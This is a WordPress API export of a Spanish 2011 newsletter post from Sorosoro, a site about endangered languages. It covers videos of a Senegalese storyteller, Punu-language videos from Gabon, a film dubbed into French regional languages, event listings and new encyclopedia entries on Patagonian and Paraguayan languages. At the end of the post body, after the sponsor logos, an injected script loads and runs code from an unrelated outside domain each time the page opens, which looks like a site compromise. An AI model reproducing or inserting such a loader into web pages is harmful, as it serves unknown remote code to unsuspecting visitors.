{"id":44061,"date":"2011-03-18T10:35:40","date_gmt":"2011-03-18T09:35:40","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=44061"},"modified":"2025-10-21T23:07:20","modified_gmt":"2025-10-21T21:07:20","slug":"18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/","title":{"rendered":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Esta semana, Ma\u00efa Ponsonnet nos describe de manera precisa la diversidad ling\u00fc\u00edstica en Australia, y demuestra as\u00ed algunas ideas preconcebidas.<\/p>\n<p style=\"text-align: justify;\">Ver el blog<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Video<\/h5>\n<p style=\"text-align: justify;\">Estamos todav\u00eda en Senegal, donde el narrador <strong>S\u00e9kou Djikabo Coly <\/strong>nos entrega un segundo cuento hist\u00f3rico, consagrado a la <strong>llegada del hombre blanco al pueblo de Niamone<\/strong>, en Casamanza, y al combate que llega a este suceso\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/cuento-historico-cuando-el-hombre-blanco-vino-al-pueblo\u2026\">Ver el video<\/a><\/p>\n<p style=\"text-align: justify;\">Y para los angl\u00f3fonos, <strong>cuatro nuevos videos subtitulados en ingl\u00e9s <\/strong>se encuentran desde hoy disponibles en l\u00ednea: una <a href=\"https:\/\/www.sorosoro.org\/es\/presentation-de-la-langue-punu-du-gabon-par-le-linguiste-jean-marie-hombert\">presentaci\u00f3n de la lengua punu <\/a>de Gab\u00f3n, la <a href=\"https:\/\/www.sorosoro.org\/es\/el-declive-de-la-lengua-punu-del-gabon\">explicaci\u00f3n de su declive <\/a>por uno de sus interlocutores, un spot sobre <a href=\"https:\/\/www.sorosoro.org\/es\/nuevas-palabras-en-la-lengua-punu-de-gabon\">las palabras nuevas <\/a>en esta lengua y <a href=\"https:\/\/www.sorosoro.org\/es\/10195\">el rito del Mukuji<\/a>.<\/p>\n<h5 style=\"text-align: justify;\">Novedades<\/h5>\n<p style=\"text-align: justify;\"><strong>16 de marzo<\/strong>: \u00a1Lugar de honor para las<strong> lenguas regionales en el cine!<\/strong> La pel\u00edcula \u00ab<strong>Au bistro du coin<\/strong>\u00bb se estrena en cines en 7 versiones, entre las cuales se encuentran \u00a1el bret\u00f3n, el alsaciano, el chti, el corso, el criollo y el occitano!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/16-de-marzo-estreno-en-cines-de-la-pelicula-%C2%AB-au-bistro-du-coin-%C2%BB-en-frances-y-doblada-en-6-lenguas-regionales-francia\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>25-26 de marzo<\/strong>: conferencia sobre las perspectivas y las practicas del <strong>multiling\u00fcismo en Europa Central y del Este <\/strong>en Budapest, Hungr\u00eda.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/25-26-de-marzo-conferencia-sobre-las-perspectivas-y-las-practicas-del-multilinguismo-en-europa-central-y-del-este-budapest-hungria\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>18<\/strong><strong>-20 de marzo<\/strong>: con motivo de las celebraciones del a\u00f1o nuevo, la <strong>Casa de Asia Central <\/strong>organiza en Par\u00eds una serie de manifestaciones culturales, entre las cuales se encuentra la proyecci\u00f3n de una <strong>pel\u00edcula en lengua kirgu\u00eds<\/strong>\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/18-20-de-marzo-celebracion-de-ano-nuevo-en-la-casa-de-asia-central-paris-francia\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\">Nuestra \u00ab <em>Enciclopedia de las lenguas <\/em>\u00bb se enriquece de nuevo con 6 nuevas fichas descriptivas (las traductiones en espa\u00f1ol llegan en cuanto posible&#8230;):<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; dos lenguas australianas de la <a href=\"http:\/\/www.sorosoro.org\/en\/macro-pama-nyungan-languages\">familia macro pama nyungan<\/a>: el <a href=\"http:\/\/www.sorosoro.org\/en\/dhayyi\">dhay&#8217;yi <\/a>y el <a href=\"http:\/\/www.sorosoro.org\/en\/yanyuwa\">yanyuwa<\/a>.<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; dos lenguas habladas en Am\u00e9rica del sur: el <a href=\"http:\/\/www.sorosoro.org\/le-tehuelche\">tehuelche<\/a>, la \u00faltima de las <a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-chon\">lenguas chon<\/a>, hablada en el sur de la Patagonia argentina, y el <a href=\"http:\/\/www.sorosoro.org\/le-yamana\">yamana <\/a>(o yagan), \u00abla lengua m\u00e1s austral del mundo\u00bb, hablada en Tierra de Fuego (Chile). Estas dos lenguas est\u00e1n moribundas, y con ellas se extinguir\u00e1n las \u00faltimas lenguas amerindias de la Patagonia austral.<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; dos lenguas de Paraguay: el <a href=\"http:\/\/www.sorosoro.org\/le-maka\">mak\u00e1 <\/a>(<a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-matacoanes\">familia matacoanas<\/a>) y el <a href=\"http:\/\/www.sorosoro.org\/lache\">ach\u00e9 <\/a>(<a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-lenguas-tupi-guarani\">familia tup\u00ed<\/a>).<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Y como siempre\u2026<\/h5>\n<p style=\"text-align: justify;\">No dejen de traducir la nueva palabra de la quincena, \u00ab<a href=\"https:\/\/www.sorosoro.org\/es\/mano\"><strong>Mano<\/strong><\/a>\u00bb, en su lengua materna\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00a1Les deseamos una excelente semana a todos!<\/strong><\/p>\n<p style=\"text-align: justify;\">El equipo de Sorosoro<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Con el apoyo de:<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"logo_fondationchirac\" src=\"..\/wp-content\/uploads\/logo_fondationchirac3.png\" alt=\"logo_fondationchirac\" width=\"63\" height=\"67\" \/><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"fondation_fr_quadri\" src=\"..\/wp-content\/uploads\/fondation_fr_quadri3-300x93.jpg\" alt=\"fondation_fr_quadri\" width=\"123\" height=\"38\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Esta semana, Ma\u00efa Ponsonnet nos describe de manera precisa la diversidad ling\u00fc\u00edstica en Australia, y demuestra as\u00ed algunas ideas preconcebidas. Ver el blog Video Estamos todav\u00eda en Senegal, donde el narrador S\u00e9kou Djikabo Coly nos entrega un segundo cuento hist\u00f3rico, consagrado a la llegada del hombre blanco al pueblo de Niamone, en Casamanza, y [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-44061","post","type-post","status-publish","format-standard","hentry","category-actualidades-de-sorosoro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog Esta semana, Ma\u00efa Ponsonnet nos describe de manera precisa la diversidad ling\u00fc\u00edstica en Australia, y demuestra as\u00ed algunas ideas preconcebidas. Ver el blog Video Estamos todav\u00eda en Senegal, donde el narrador S\u00e9kou Djikabo Coly nos entrega un segundo cuento hist\u00f3rico, consagrado a la llegada del hombre blanco al pueblo de Niamone, en Casamanza, y [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-18T09:35:40+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:07:20+00:00\" \/>\n<meta name=\"author\" content=\"Rozenn Milin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rozenn Milin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\"},\"author\":{\"name\":\"Rozenn Milin\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"headline\":\"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org\",\"datePublished\":\"2011-03-18T09:35:40+00:00\",\"dateModified\":\"2025-10-21T21:07:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\"},\"wordCount\":409,\"articleSection\":[\"Novedades en Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\",\"name\":\"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-03-18T09:35:40+00:00\",\"dateModified\":\"2025-10-21T21:07:20+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\",\"name\":\"Rozenn Milin\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/","og_locale":"es_ES","og_type":"article","og_title":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro","og_description":"Blog Esta semana, Ma\u00efa Ponsonnet nos describe de manera precisa la diversidad ling\u00fc\u00edstica en Australia, y demuestra as\u00ed algunas ideas preconcebidas. Ver el blog Video Estamos todav\u00eda en Senegal, donde el narrador S\u00e9kou Djikabo Coly nos entrega un segundo cuento hist\u00f3rico, consagrado a la llegada del hombre blanco al pueblo de Niamone, en Casamanza, y [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/","og_site_name":"Sorosoro","article_published_time":"2011-03-18T09:35:40+00:00","article_modified_time":"2025-10-21T21:07:20+00:00","author":"Rozenn Milin","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Rozenn Milin","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/"},"author":{"name":"Rozenn Milin","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"headline":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org","datePublished":"2011-03-18T09:35:40+00:00","dateModified":"2025-10-21T21:07:20+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/"},"wordCount":409,"articleSection":["Novedades en Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/","name":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-03-18T09:35:40+00:00","dateModified":"2025-10-21T21:07:20+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/18-de-marzo-de-2011-y-aun-mas-novedades-en-sorosoro-org\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"18 de marzo de 2011: Y a\u00fan m\u00e1s novedades en Sorosoro.org"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1","name":"Rozenn Milin","url":"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/44061","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=44061"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/44061\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=44061"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=44061"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=44061"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}